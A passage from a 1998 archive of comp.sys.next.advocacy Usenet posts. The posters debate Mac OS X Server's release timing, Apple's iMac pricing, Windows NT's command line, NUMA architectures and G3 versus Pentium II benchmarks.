sell them at an even higher price! (Collectors' item! Limited versions!)
EDEW
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: 48-bit pixels in MacOS 8.5?
Date: 16 Sep 1998 19:46:05 GMT
Organization: Net Squared, Inc.
Message-ID: <01bde1aa$5fc3f690$06387880@chewy>
From http://www.maccentral.com/news/9809/16.peek.shtml
"The new icon theme means artists can paint icons in millions of colors
rather than the current limit of 256 colors. The Allegro icons will also be
bigger: 48 pixels square rather than 32 pixels square."
Hmm... Sounds a little familiar.
Todd
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: 16 Sep 1998 20:04:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6tp5l8$ro@news1.panix.com>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com> <rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com> <rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com> <rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com> <rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com> <rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com> <rmcassid-1609981153440001@hephaestus.eng.uci.edu>
On Wed, 16 Sep 1998 11:53:42 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>In article <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>,
>>This is holding on the Mac side but there is no choice for a
>>NeXTSTEP/OPENSTEP UI. Call me skeptical...
>Yeah, I wouldn't hold my breath unless a 3rd party comes through... Apple
>certainly won't do it.
From http://www.stepwise.com/StepwiseReport/September13_1998.html
InterfaceStyle 1.1 - Stephane Corthesy has released InterfaceStyle 1.1 for
Mac OS X Server. InterfaceStyle.preference is a bundle for Preferences.app,
on RDR2. It adds the possibility to set the default look of the applications
on RDR2 by using the NSInterfaceStyle API. It is compiled fat for Rhapsody
PPC/Intel DR2.
Binary and source (PPC/Intel) for Mac OS X Server
ftp://ftp.next.peak.org/pub/rhapsody/Applications/Preferences/
/InterfaceStyle-1.1-PI-bs.tar.gz
Readme
ftp://ftp.next.peak.org/pub/rhapsody/Applications/Preferences/
/InterfaceStyle-1.1.README
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 16 Sep 1998 20:19:09 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6tp6ft$i1t$1@news.spacelab.net>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com><heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com><heaney-0809981243030001@24.0.246.137><6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137><6t42o6$puq$1@nnrp03.primenet.com><heaney-0809982244000001@24.0.246.137><6t68ia$b2c$1@nnrp03.primenet.com><heaney-0909981627150001@24.0.246.137><6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net><6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net><35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net><35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net><jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com><6tfjrn$nco$1@nnrp4.snfc21.pbi.net><slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <SCOTT.98Sep15132801@slave.doubleu.com> <6tp0vn$m9s$1@nnrp3.snfc21.pbi.net>
"William Edward Woody" <woody@alumni.caltech.edu> wrote:
>Scott Hess wrote in message ...
>> Which is _exactly_ the reason that a capable CLI deserves to be
>> present on all modern operating systems (this is one of my gripes with
>> NT, in fact).
>
>But... NT has a CLI. (Start:Program Files:Command Prompt).
>
>And there is even a way that GUI applications can start up a CLI
>application with I/O redirection and everything.
>
>Or is your gripe the fact that the Command Prompt in NT isn't
>"capable?"
I don't know whether that is Scott's opinion, but lord knows it's certainly
mine. Doskey and a Cmd prompt do not come close to zsh on a Unix box. The
largely MS-DOS derived CLI programs under NT are wildly inconsistent in their
command-line arguments, syntax, ability to handle wildcards, and so forth.
Often, their functionality tends to be poorly modularized. For instance, do
you know just how many things the "net" command can do? And then we could go
into the fact that a cmd prompt window is not a terminal emulator, either--
which is why telnet brings up a seperate window.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A prediction
Date: Wed, 16 Sep 1998 13:19:57 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1609981319580001@hephaestus.eng.uci.edu>
References: <35FC1A30.EE020BD5@nstar.net> <rmcassid-1409981129210001@hephaestus.eng.uci.edu> <6tkdlv$dgb@news1.panix.com> <rmcassid-1409982105430001@dialin9181.slip.uci.edu> <6tnctm$d3q@news1.panix.com> <35FF4C9C.6E1E6224@trilithon.com>
In article <35FF4C9C.6E1E6224@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
>The price of oil is at a multi-year low. Has that increased the
>demand for oil? Not at all --- the price of oil at the moment is
>determined by the amount of available oil.
Well, and currency rates, and a bazillion other things. The price of oil
in Russia and many other nations is remarkably high, resulting in a much
lower demand there, which creates a supply glut causing a reduction in
price in other markets.
So the price has something to do with the amount available in reserves, if
that is what you are referring, but that is only a local event. In that
case, the price is dropped _specifically_ to spur demand which will
decrease the reserves, and ultimately increase the price.
Ultimately the drop in prices _will_ cause an increase in the demand for
oil. Oil isn't a consumer product where supply and demand curves can make
U-turns on a whim - it takes time. The drop in oil prices might spur a
shift from diesel automobile sales to gasoline, resulting in a shift in
demand. It should result in more petroleum based derivative product
manufacturing than in alternative products. It certainly this winter will
result in consumers setting their thermostats a little higher (in those
places that aren't always 70 degrees :-) since they can afford to consume
more for less money. It will also show in the sales of gas-guzzling
vehicles. Suburbans are very common in my neighborhood and must suck down
gas like nothing else. Even if the price of gas were to triple tomorrow,
the demand would remain for a while - many people can't instantly justify
selling a $40,000 vehicle because it costs an extra $200/month to put gas
in it - it takes time.
-Bob Cassidy
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: A prediction
Newsgroups: comp.sys.next.advocacy
References: <6tnctm$d3q@news1.panix.com> <edewEzE915.5oG@netcom.com> <360027ec.0@news.depaul.edu> <edewEzEFtA.M2G@netcom.com>
Message-ID: <36004a01.0@news.depaul.edu>
Date: 16 Sep 98 23:30:09 GMT
Eric Dew <edew@netcom.com> wrote:
> In article <360027ec.0@news.depaul.edu> Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
> >Eric Dew <edew@netcom.com> wrote:
> >
> >> Look, they're selling the iMac as fast as they can produce them. They
> >> can't produce any more or any faster, so why drop the price? If anything,
> >> they'd be better off adding a little bit more of feature and upping the
> >> price. That way, they can control the inventory a bit better.
> >
> >> Basic rule in business is that you drop price only when you can't move
> >> the product.
> >
> >Why? Competition from Intel. The iMac may look like a good buy now,
> >but it may not in a few months. Especially if some iMac knock-off
> >PC's start shipping. Once the PC vendors respond, iMac sales will
> >drop off if Apple doesn't refresh the line.
> >
> The iMac is the un-cola of desktop computers. For wintel vendors to
> go into that arena means for coke to make sprite or pepsi to create
> pepsi ice (the clear version of pepsi). It ain't going to work, and worse,
> it will acknowledge Apple and the iMac as THE front-runner of internet
> ready computers. That only makes the iMac more valuable (why buy a
> PC knock-off of the iMac when you can have the real thing?). Apple would
>be so lucky if PC vendors start shipping a similar looking product. (Remember
>the Xerox commercials? "It works like a Xerox..." "It is a Xerox.")
"Why buy Windows when you can buy the real thing, a Mac?" That didn't
work either, and that attitude won't work with the iMac.
The iMac is not the un-cola. The iMac is diet coke with a slice of
lemon. Other vendors can get lemons too.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 16:22:31 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6took7$poc@news1.panix.com>
References: <6tkdm7$dgb@news1.panix.com> <1998091502300000.WAA20080@ladder01.news.aol.com>
On 15 Sep 1998 02:30:00 GMT, WillAdams <willadams@aol.com> wrote:
>Sal's discussion of replacing a Mac with a Dell snipped
>Yes, but replacing one IBM compatible with another does not entail new software
>licensing, to include new versions of all of one's typefaces as replacing a Mac
>with an IBM compatible does
I see your point, but...
>(naturally the reverse holds true as well)--it is
>this which is the axe which Apple holds over its customers' heads to keep them
>in line and which is one of the things which makes it difficult to switch to a
>Mac from a PC.
...this has more to do with Adobe and Quark than it does with Apple. I'm sure
that a major customer can cut a deal for a "side-grade" for much less than
the cost of all new licenses.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: Wed, 16 Sep 1998 17:02:44 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6toqvk$aqs$1@nnrp1.dejanews.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu> <6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk> <6tj38l$mmr$1@nnrp1.dejanews.com> <83gL1.5642$MS.14782014@news.rdc1.sdca.home.com> <6tlmsr$pec$1@nnrp1.dejanews.com> <35FE903C.1867FF38@nstar.net> <6tmi5t$opj$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net> <6tocou$r66$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> The issue was never the existence of some sort of software that may
> someday be branded "MacOS X Server" ...
This happened some time ago. The re-branding of Rhapsody to "Mac OS X Server"
was noted, for example, in the July 31 edition of _Apple Developer Connection
News_.
> ... and shipped to the public. The issue
> was whether there ever would be a "MacOS X Server".
No. The issue was when Apple would ship the OS which was once code-named
Rhapsody and which they have decided to call "Mac OS X Server". I started
this whole thread, so I should know. That Rex Riley chose to mis-interpret
the whole issue into whether Apple would produce some kind of
hardware/software combo for use as a server is his problem (and now ours,
alas).
> ... The mere existence
> of software in Apple's bowels or even in developers' hands means little
> or nothing.
Choose to believe what you will. The point is, software exists that, in its
DR2 form, was by all accounts of almost shipping quality. I know people who
use it as their daily work environment, both as users and as developers. So
much is incontrovertible.
It DOESN'T mean that it will ship soon, although Steve Jobs stated in his
WWDC speech it would ship in Q3 1998. It doesn't mean Apple is committed to
making a big push for it. There are lots of things it doesn't mean. But
saying it "means nothing" is just the sort of silliness I've increasingly
come to expect from you.
> Arun Gupta continues to post articles doubting the timely
> shipment of NT 5.0, despite betas far more numerous than Rhapsody's.
I know of 2 NT5 betas, which by my count is the same number as the
Rhapsody/OS X server betas. Perhaps you know of more?
But that's beside the point. Did I ever claim there would be a timely
release? I started this whole thread precisely to ask whether there was any
news on release timing, since Q3 1998 is fast running out. At this point I
don't expect that Q3 deadline to be met (although I'd love to be proven
wrong). But there's a difference, I would humbly submit, between saying that
OS X server might ship late and saying that it doesn't exist or that it's
some kind of hardware.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
<rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>
<rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>
<rmcassid-1609981153440001@hephaestus.eng.uci.edu>
Message-ID: <iVXL1.6216$MS.16131090@news.rdc1.sdca.home.com>
Date: Wed, 16 Sep 1998 23:33:34 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 16:33:34 PDT
Organization: @Home Network
In <rmcassid-1609981153440001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
> >> Great. You'll have 100 devices and 100 ports to plug them into... :-)
> >
> >I already have 5 devices and only 2 ports. REX, Digital Camera, 2
Psions,
> >and a serial mouse Yeah, like I can get 5 serial ports to configure on
WinXX
> >let alone 100 ports but thanks to USP I think Apple saved my butt on
WinXX
> >platforms. :-\ I'm looking at an Intel 440BX IO motherboard with two USP
> >ports as a possible solution.
>
> So basically you are saying that USB is the ultimate direction for people
> that need hook crap together. So Apple has at least gotten that part
> right...
>
>
I haven't used USB. If they got it engineered right... USB should be the
definitive solution for crap than hangs off desktops. "Look Ma no Serial
cards!"... Now what WinXX do with IRQ resolution is another story but the
cards, jumpers and slots are simplified.
> >> Apple does have a lot on it's hands these days. We'll see how they
handle
> >> it.
> >
> >Apple doesn't have Pop Psych luxury to "handle it". They've done enough
of
> >that the last 10 years, don't you think?
> >
> >It's my opinion Quark==Adobe buyout is only the first tremor in Apple's
> >crust. The whole Apple Pie is cooked if they don't get Ports, Paths and
> >21st Century Partners to _help_ them survive once they get there (ala
Sony,
> >Lucent, Phillips, Errickson, Psion).
>
> I don't see a problem with that happening. Partners are different than
> buying and integrating operating systems. Basically Apple has the entire
> planet of companies that MS is trying to crush to choose from to partner
> with.
>
> >But hey, maybe the view is different from the cush offices in Cupertino.
> >And who in hell ever has time to read this thread anyway? I'm like the
guy
> >who wants to save the forests (ie Save Apple) as I choose Cedar Shake
> >shingles (ie. Intel BX440 motherboard) for my new wood home (ie
Microsoft
> >WinNT) , I suppose.
>
> Actually, buying cedar shake shingles should provide demand for relatively
> expensive cedar trees which should encourage planting and protection of
> cedar trees rather than having the land razed in favor of cows or WalMarts
> or MS legal offices. Better to buy cedar than pine or some other low-value
> wood. The goal is to raise the minimum market value of wood, which gives
> no clear opportunity to just cut stuff down for the land underneath. So go
> side your house in zebrawood or mahogony. We need some demand for those
> rainforest trees before they get replaced by cows!
>
>
I wonder if that'll parse to Apple et. al.?
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
<rmcassid-0809981048120001@hephaestus.eng.uci.edu> <sfiJ1.4346$MS.11233396@news.rdc1.sdca.home.com>
<rmcassid-0909981511080001@hephaestus.eng.uci.edu> <w5KJ1.4461$MS.12081075@news.rdc1.sdca.home.com>
<rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
<rmcassid-1409981059350001@hephaestus.eng.uci.edu> <GYfL1.5641$MS.14782014@news.rdc1.sdca.home.com>
<rmcassid-1409982052490001@dialin9181.slip.uci.edu> <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>
<rmcassid-1609981153440001@hephaestus.eng.uci.edu> <6tp5l8$ro@news1.panix.com>
Message-ID: <AYXL1.6217$MS.16131090@news.rdc1.sdca.home.com>
Date: Wed, 16 Sep 1998 23:37:04 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 16:37:04 PDT
Organization: @Home Network
In <6tp5l8$ro@news1.panix.com> Sal Denaro wrote:
> On Wed, 16 Sep 1998 11:53:42 -0700, Robert Cassidy <rmcassid@uci.edu>
wrote:
> >In article <GpIL1.6164$MS.15667185@news.rdc1.sdca.home.com>,
> >>This is holding on the Mac side but there is no choice for a
> >>NeXTSTEP/OPENSTEP UI. Call me skeptical...
> >Yeah, I wouldn't hold my breath unless a 3rd party comes through... Apple
> >certainly won't do it.
>
> From http://www.stepwise.com/StepwiseReport/September13_1998.html
>
> InterfaceStyle 1.1 - Stephane Corthesy has released InterfaceStyle 1.1 for
> Mac OS X Server. InterfaceStyle.preference is a bundle for
Preferences.app,
> on RDR2. It adds the possibility to set the default look of the
applications
> on RDR2 by using the NSInterfaceStyle API. It is compiled fat for Rhapsody
> PPC/Intel DR2.
>
> Binary and source (PPC/Intel) for Mac OS X Server
> ftp://ftp.next.peak.org/pub/rhapsody/Applications/Preferences/
> /InterfaceStyle-1.1-PI-bs.tar.gz
>
> Readme
> ftp://ftp.next.peak.org/pub/rhapsody/Applications/Preferences/
> /InterfaceStyle-1.1.README
>
>
>
Sal, you're the man... if this compiles on MacOS X then there is an Apple in
my future. But we must wait...
Note: this version can be used only with RDR2; it cannot work on
RDR1, and will probably fail to work as-is with future versions
of Rhapsody/MacOS X. The NeXTStep style will disappear in future
releases (sniff!).
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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<6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
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<rmcassid-1009981404080001@hephaestus.eng.uci.edu> <7xgK1.4571$MS.13084797@news.rdc1.sdca.home.com>
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<rmcassid-1409982052490001@dialin9181.slip.uci.edu> <KmHL1.6151$MS.15637273@news.rdc1.sdca.home.com>
<rmcassid-1609981158580001@hephaestus.eng.uci.edu>
Message-ID: <_2YL1.6218$MS.16131090@news.rdc1.sdca.home.com>
Date: Wed, 16 Sep 1998 23:43:54 GMT
NNTP-Posting-Date: Wed, 16 Sep 1998 16:43:54 PDT
Organization: @Home Network
In <rmcassid-1609981158580001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <KmHL1.6151$MS.15637273@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >Psion
> >wins the first part but has a detrimental reliance upon partnering to
> >compete against WinCE on the second. I like what Apple does for Psion's
> >survival in the second part...
>
> Sounds like the Apple Story all over again. First out of the blocks
> technologically, but hopelessly outclassed for the rest of the race. Do I
> sense a bit of selfish interest here, Rex? Is Psion your Apple? :-)
>
>
Actually, I stopped using my Psion last year. Psion's don't synch well to
NeXTSTEP. And I don't synch well with Win95 so my Psion and I have agreed
to part our ways. I dumped all my contacts into a REX card and live with
that.
My wife depends upon a Series 5 in her medical practice. So I'm well aware
how important CPU horsepower in the pocket becomes. There is a clear and
compelling force to get that horsepower connected _wireless_ to the
enterprise.
Psion are seeding EPOC the OS into the wireless layer and the opportunities
are theirs to the enterprise.
-r
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 17:19:31 GMT
Organization: P & L Systems
Message-ID: <6torv3$4n4$2@ironhorse.plsys.co.uk>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <35ec7a19.0@news.depaul.edu>
<6sjdd8$am7$1@nnrp1.dejanews.com> <6tf372$2b0$2@ironhorse.plsys.co.uk>
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<6tlmsr$pec$1@nnrp1.dejanews.com> <35FE903C.1867FF38@nstar.net>
<6tmi5t$opj$1@nnrp1.dejanews.com> <35FED2E8.45754EB7@nstar.net>
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Cc: mjpeck@nstar.net
In <35FED2E8.45754EB7@nstar.net> "Michael J. Peck" wrote:
> There is little compelling proof for MacOS X Server's existence or
> release that was not also available for Copland. There was a complete
> MacOS 8 section on Apple's Website (mind you, a *very* different MacOS 8
> than Apple has ever shipped).
>
Well, obviously I wasn't around for Copland, however I can certainly assert
that what I see from Apple gives every indication that it's still full steam
ahead on MacOS X, with a FCS date in the October timeframe.
mmalc.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 03:35:38 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tq02a$5id@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <6tonmp$hhn$1@news.spacelab.net> <36008F55.1180C591@exu.ericsson.se> <6tpef8$18r$1@news.xmission.com>
Originator: gupta@tlctest
Don Yacktman <don@misckit.com> wrote:
>No references, but the idea is that:
>
>* each processor has it's own memory, and they don't share a main memory
>* each processor is dedicated to specific tasks, and processes cannot migrate
>from one processor to another.
AFAIK, NUMA architectures could be symmetric. In the usual SMP architecture,
all processors share a common pool of memory on a common bus. Since bus
traffic becomes a bottleneck as the number of processors grows, NUMA gives
sub-clusters of processors a common pool of memory; to access the memory
of another subcluster has to be done somewhat differently and generally
takes more time -- hence the Non-Uniform Memory Access.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 16 Sep 1998 17:24:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tos8b$46f@newsb.netnews.att.com>
References: <6tkdm7$dgb@news1.panix.com> <1998091502300000.WAA20080@ladder01.news.aol.com> <6took7$poc@news1.panix.com>
Originator: gupta@tlctest
Sal Denaro <sal@panix.com> wrote:
>...this has more to do with Adobe and Quark than it does with Apple. I'm sure
>that a major customer can cut a deal for a "side-grade" for much less than
>the cost of all new licenses.
Right now, as a customer who buys one copy of software, I believe you
can up-side-grade from version X for MacOS to version X+1 for Windows
at the same cost as an upgrade from version X to version X+1 for MacOS.
Also, multiple user licenses are phrased as, e.g. 10-user license allows
a mix of MacOS and Windows upto a total of 10 users.
-arun gupta
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Message-ID: <slrn6vvs2e.3r4.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <EzCMLy.K2I@T-FCN.Net> <B2246B41-7AAB@206.165.43.43> <EzDsxw.1z9@T-FCN.Net>
Date: Wed, 16 Sep 1998 17:06:03 GMT
In article <EzDsxw.1z9@T-FCN.Net>, Maury Markowitz wrote:
>In <B2246B41-7AAB@206.165.43.43> "Lawson English" wrote:
>> Really? Where? I downloaded the PDF version of the AppKit docs and couldn't
>> find it. Perhaps a better pointer?
>
> It's in the documents you downloaded then.
>
>> So the API makes a distinction between bitmaps and vectors? How odd.
>
> They don't call it "NSImage" for nothing.
Actually, an NSImage may contain bitmap data or vector data. The construct
is better viewed as one used to facilitate compositing. I can stroke vectors
into an NSImage in semi-transparent ink, then perform some sort of composite
of that image into a view or into another image.
Mark
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 17 Sep 1998 03:44:22 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6tq0im$5it@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <360080D2.8389C025@exu.ericsson.se> <6touut$4ea@newsb.netnews.att.com> <6tpe6b$1ga$1@nnrp02.primenet.com>
Originator: gupta@tlctest
John Jensen <jjens@primenet.com> wrote:
> [snip]
>Other than arriving in a hype-free time zone, I don't see that Apple will
>be much affected by the ship date of NT 5.0. There are already a couple
>versions of NT in the marketplace, including version 4.0 which was fairly
>well accepted.
>
>MacOS X Server, to the extent that it will be judged as a "server", is
>more likely to be compared to established products.
>[snip]
There are a lot of people with old stuff wondering what to do -- many of
them were going to make the modernization move by going to NT 5.0; NT 4.0
does not eliminate the administrative headaches that their old set-ups have.
Now NT 5.0 is out in the future; analysts like in Gartner and Giga
recommend avoiding NT 5 until service pack 3; people will stick with
Netware for a while longer; heterogenous computing environments will continue
to be a reality with no prospect of homogenization for 2-3 years.
The "obvious" thing to do -- to move everyone to NT 5.0 from Windows 3.1,
Windows 95, Windows 98, Windows NT 4.0, Unixen, OS/2, MacOS etc. --
cannot be done for a while; Microsoft failed to deliver.
Under those circumstances, some people might be willing to look at MacOS X*.
In the alternative scenario -- NT 5.0 was delivered on time ( a quarter or
so ago) and with all the promised features -- I don't think there would be
much chance for other OSes in the stampede to standardize on NT 5.0.
-arun gupta
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 03:49:06 +1000
Organization: University of Queensland
Message-ID: <6toti2$rd8$1@bunyip.cc.uq.edu.au>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <6toan2$hdp$1@bunyip.cc.uq.edu.au> <ZpOL1.408$2M.663946@newsfeed.slurp.net>
Dan <dan@knowspaam.com> wrote in message
ZpOL1.408$2M.663946@newsfeed.slurp.net...
>Christopher Smith wrote in message <6toan2$hdp$1@bunyip.cc.uq.edu.au>...
>
>>The G3 is a faster chip, no-one is arguing that
>
>I would. Show me any bechmark besides ByteMark that proves otherwise.
Read what I said. Just about every benchmark you care to run puts a G3
faster _at the same clock speed_. However, this is counteracted by the fact
that pIIs are available in much higher clock speeds, and pIIs of comparable
speed cost less than G3s.
>
>PC/Computing and ZDnet proved that Apple used a benchmark that was
optimized
>for the PPC code, and compared it to a PC version that was optimized for a
>allmost 10 year old 486. After they optimized the code for the PII and
>Celeron chips, they the G3 came out slightly slower (comparing machines of
>the same cost). When cmoparing the PII 400 and 450MHz to the G3 300-350MHz,
>the PII chips were "much" faster then any G3 Apple has to offer.
I never tried to say G3s were faster _overall_ or at a given price point.
Merely that they have more processing grunt at the same clock speed.
>
>Dan
>
>
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Still no word on OS X Server...
Date: 16 Sep 1998 17:48:26 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6totla$48i@newsb.netnews.att.com>
References: <6shnvp$cmh$1@nnrp1.dejanews.com> <6tocou$r66$1@nnrp1.dejanews.com> <35FFC0C8.A182E11F@nstar.net> <6toqvk$aqs$1@nnrp1.dejanews.com>
Originator: gupta@tlctest
Apple's Sept 1 PR item announcing WebObjects 4
(http://www.apple.com/pr/library/1998/sep/1webobjects.html)
says that WebObjects 4 will run on PowerPC G3 hardware,
development tools will be available on MacOS X Server,
and will be available in early October.
So, either MacOS X Server and PowerPC G3 support of WebObjects
will slip, or we should hear an announcement regarding MacOS X Server
fairly soon.
Speculation : Apple France Expo 98, September 16-20 -- is that
a suitable venue ?
-arun gupta
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 17 Sep 1998 03:51:55 +1000
Organization: University of Queensland
Message-ID: <6totna$3l7$1@bunyip.cc.uq.edu.au>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <6thebh$q8m$1@cronkite.cs.umd.edu> <Eg8L1.1457$k5.1863590@newsfeed.slurp.net> <joe.ragosta-1409981004420001@wil103.dol.net> <35FD50CB.CCFAF0A6@ericsson.com> <6tkdm7$dgb@news1.panix.com> <35FE4D62.1784041C@SPAMFREE.yahoo.com> <macghod-1509981451420001@sdn-ar-001casbarp006.dialsprint.net> <35FFA8EC.27ED@SPAMFREE.yahoo.com> <6toan2$hdp$1@bunyip.cc.uq.edu.au> <joe.ragosta-1609980934140001@wil111.dol.net>
>> Huh ? When have any of us claimed a G3 at the same clock is *slower*
than a
>> pII on average ? The G3 is a faster chip, no-one is arguing that - it's
the
>> the people who try to make out it's 2x faster _on average_ or in more
than a
>> few very specialised areas we don't like.
>
>Care to point out where Mac advocates are claiming 2x faster _on average_?
There were several posts by people like Jay Riley and Cybernaught with
claims like "you need a 560-odd Mhz Pentium II to beat a G3/300" and "you'll
need a 1300Mhz pII to beat a G3/500" with _no_ qualifying statements saying
this was only applicable to Bytemarks and a few photoshop functions. Other
